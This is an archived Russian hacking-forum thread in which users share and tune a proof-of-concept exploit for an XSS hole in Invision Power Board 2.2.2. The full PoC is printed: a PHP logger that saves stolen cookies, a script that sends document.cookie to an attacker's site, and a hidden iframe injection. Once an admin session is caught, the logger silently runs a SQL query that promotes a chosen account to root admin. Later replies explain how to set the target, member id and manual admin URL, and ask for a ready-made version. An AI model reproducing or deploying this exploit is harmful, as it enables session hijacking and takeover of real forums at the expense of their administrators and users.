PDA

Просмотр полной версии : Вопрос ламмера по сплойту Ipb222


FaR-G9
14.08.2007, 00:14
Invision Power Board 2.2.2 Cross Site Scripting vulnerability

# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
#
# Invision Power Board 2.2.2 Cross Site Scripting vulnerability
#
# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
# Vendor site: http://www.invisionboard.com/
# Vulnerability found by Iron (ironwarez.info)
#
# Greets to all **** Security Group members
#
# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
# The vulnerability:
# Open up any php file in /jscripts/folder_rte_files
# See:

var editor_id = <?php print '"'.trim($_REQUEST['editorid']).'";'; ?>

#
# $_REQUEST['editorid'] isn't sanitized in any way, so allows
# other uses to execute their own code.
# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
# PoC (Log cookies & run SQL query)
#
# Requirements: server supporting PHP, user account on
# target forum, database prefix needs to be known.
#
# Create a file called name.php on your webserver and put this code in it:
# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #

<?php
$target = "http://www.yourtarget.com/forum"; #Target forum without trailing slash
$prefix = "ibf_"; #Database prefix, default: ibf_
$member = 22; #Member id to promote
$newgroup = 4; # The id of the new group to promote, normally 4 is root admin

$ip = $_SERVER['REMOTE_ADDR'];
$referer = $_SERVER['HTTP_REFERER'];
$agent = $_SERVER['HTTP_USER_AGENT'];

$data = $_GET['c'];
$time = date("Y-m-d G:i:s A");
$text = "Time: ".$time."\nIP:".$ip."\nReferer:".$referer."\nUser-Agent:".$agent."\nCookie:".$data."\n\n";

$file = fopen('log.txt' , 'a');
fwrite($file,$text);
fclose($file);
if(preg_match("/ipb_admin_session_id=([0-9a-z]{32});/",$data,$stuff))
{
print '<img width=0 height=0 src="'.$target.'/admin/index.php?adsess='.$stuff[1].'&act=sql&code=runsql&section=admin&query=UPDATE+
'.$prefix.'members+SET
+mgroup+%3D+%27'.$newgroup.'%27+WHERE+id+%3D+%27'. $member.'%27&st="></>';
}
?>
# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
# Also create a file in the same directory named "log.txt" and chmod it 777
#
# Now, create a file called script.js on your webserver, put this code in it:
#
# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #

document.location="http://www.yourownsite.com/path/to/file/name.php?c="+document.cookie;

# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
#
# And, last but not least, create a file that combines those two;)
# Name it blah.html and put this code in it:
# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #

<iframe border=0 src="http://www.targetforum.com/forum_folder/jscripts/folder_rte_files/module_table.php?editorid=//--></
script><script src=http://www.yourownsite.com/path/to/file/script.js>" width=0 height=0></iframe>


Насколько я понял, этим сплойтом можно выполнять скуль команды, при просмотре страницы жертвой.

Так-вот я хотел-бы узнать как тут изменить скуль команду, чтоб изменить группу юзера(id=1483) с 3 на 4.
Спасибо

Basurman
14.08.2007, 00:16
Это xss сплоит ) придется ссылки пихать жертве. Просто поднимает пользователя по определенного указанного уровня (1 - админ)
До кучи надо создавать на хостинге php файлы

FaR-G9
14.08.2007, 00:20
Это xss сплоит ) придется ссылки пихать жертве.
Я это все понял, у меня вопрос другой

<?php
$target = "http://www.yourtarget.com/forum"; #Target forum without trailing slash
$prefix = "ibf_"; #Database prefix, default: ibf_
$member = 22; #Member id to promote
$newgroup = 4; # The id of the new group to promote, normally 4 is root admin

$ip = $_SERVER['REMOTE_ADDR'];
$referer = $_SERVER['HTTP_REFERER'];
$agent = $_SERVER['HTTP_USER_AGENT'];

$data = $_GET['c'];
$time = date("Y-m-d G:i:s A");
$text = "Time: ".$time."\nIP:".$ip."\nReferer:".$referer."\nUser-Agent:".$agent."\nCookie:".$data."\n\n";

$file = fopen('log.txt' , 'a');
fwrite($file,$text);
fclose($file);
if(preg_match("/ipb_admin_session_id=([0-9a-z]{32});/",$data,$stuff))
{
print '<img width=0 height=0 src="'.$target.'/admin/index.php?adsess='.$stuff[1].'&act=sql&code=runsql&section=admin&query=UPDATE+
'.$prefix.'members+SET
+mgroup+%3D+%27'.$newgroup.'%27+WHERE+id+%3D+%27'. $member.'%27&st="></>';
}
?>

как вот это чудо отредактировать

Просто поднимает пользователя по определенного указанного уровня (1 - админ)

А вот тут я чето неврубился у админов группа вроде 4

NOmeR1
14.08.2007, 00:29
$target = "http://www.yourtarget.com/forum"; #Target forum without trailing slash
$prefix = "ibf_"; #Database prefix, default: ibf_
$member = 22; #Member id to promote

Просто эти строки редактируй.
$target - урл форума
$prefix - префикс форума (если знаешь) - стандартный "ibf_"
$member - твой id на форуме ( вроди бы :) )

Basurman
14.08.2007, 00:30
не суть важно. пусть будет 4
$member = 1483;
$newgroup =4; это можно оставить

FaR-G9
14.08.2007, 00:32
Сори
Млин, ступил там он так и настроен

NOmeR1
14.08.2007, 00:40
Сори
Млин, ступил там он так и настроен
А это для чего скрипт?

Basurman
14.08.2007, 00:43
Ломать Invision Power Board 2.2.2 :)
Скрипт получает админскую сессию через XSS

FaR-G9
14.08.2007, 00:44
А это для чего скрипт?
Чтоб изменить группу юзера

Скрипт получает админскую сессию через XSS

А кроме этого еще выполняет Скуль команду

Basurman
14.08.2007, 00:49
Это можно и вручную сделать :)
Чисто технически это можно назвать снифером

grishka
14.08.2007, 14:23
может кто нить выложить откомпанованный и гатовый к использованию сплоит.плиииз

FaR-G9
14.08.2007, 21:36
Исправил все левые пробелы
_http://far128.narod.ru/ipb222/log.txt
_http://far128.narod.ru/ipb222/script.js.txt
_http://far128.narod.ru/ipb222/index.html.txt
_http://far128.narod.ru/ipb222/name.php.txt
но че-то сплойт работать не хочет на локалхосте
Кто юзал его, помогите

GreenBear
14.08.2007, 21:37
конечно. ведь на народ ру нету пхп.

FaR-G9
14.08.2007, 21:38
Я на денвере его пробовал
на народ я выложил содержимое файлов, которые у меня получились
Посмотрите может там ошибка или на nulled версии исправили багу?

Nightmarе
14.08.2007, 23:12
Объясните плииз как вручную всё это проделать!!!!!!!!

Nightmarе
14.08.2007, 23:13
я так понял бажный параметр module_table.php, так вот как на конкретном форуме с помощью этого модуля заранее определить подойдёт ли сплойт или нет??? сую скрипт или ковычку и нифига...

FaR-G9
14.08.2007, 23:28
Ковычка тут непричем, там уязвимость Xss, а не Sql

Basurman
15.08.2007, 00:02
/admin/index.php?adsess=(тут id админской сессии)&act=sql&code=runsql&section=admin&query=UPDATE+(тут префикс базы)members+SET
+mgroup+%3D+%27(тут номер группы до которой поднимать)%27+WHERE+id+%3D+%27(здесь id юзера, которого хотим повысить)%27&st=

Проблема в том, что нет админской сессии. Если достанешь - можешь вручную делать много чего
Чтобы достать админскую сессию и написан данный сплоит в виде ссылки, попадая на которую администратор "палит" свою сессию

Nightmarе
15.08.2007, 00:25
Ну а каким образом мне определить подойдёт скажем так сплойт к конкретному сайту или нет??? разве нету способов???
Вот я буду мучиться с сайтом годмаи потом думая а не заделали дырку или это я неправильно сплойт настроил и т.д...

Basurman
15.08.2007, 00:31
Как определить версию? интересный вопрос... если 2.2.2, то снизу по умолчанию написано что-то вроде "Русская версия IP.Board 2.2.2"

FaR-G9
15.08.2007, 01:51
/admin/index.php?adsess=(тут id админской сессии)&act=sql&code=runsql&section=admin&query=UPDATE+(тут префикс базы)members+SET
+mgroup+%3D+%27(тут номер группы до которой поднимать)%27+WHERE+id+%3D+%27(здесь id юзера, которого хотим повысить)%27&st=

Проблема в том, что нет админской сессии. Если достанешь - можешь вручную делать много чего
Чтобы достать админскую сессию и написан данный сплоит в виде ссылки, попадая на которую администратор "палит" свою сессию
Я пробовал на локалхосте, админская сесия была
но че-то сплойт не сработал

FaR-G9
17.08.2007, 02:04
/admin/index.php?adsess=(тут id админской сессии)&act=sql&code=runsql&section=admin&query=UPDATE+(тут префикс базы)members+SET
+mgroup+%3D+%27(тут номер группы до которой поднимать)%27+WHERE+id+%3D+%27(здесь id юзера, которого хотим повысить)%27&st=

Вот, вот эта штука заработала, я понял ошибку в скрипте
Прошу тему закрыть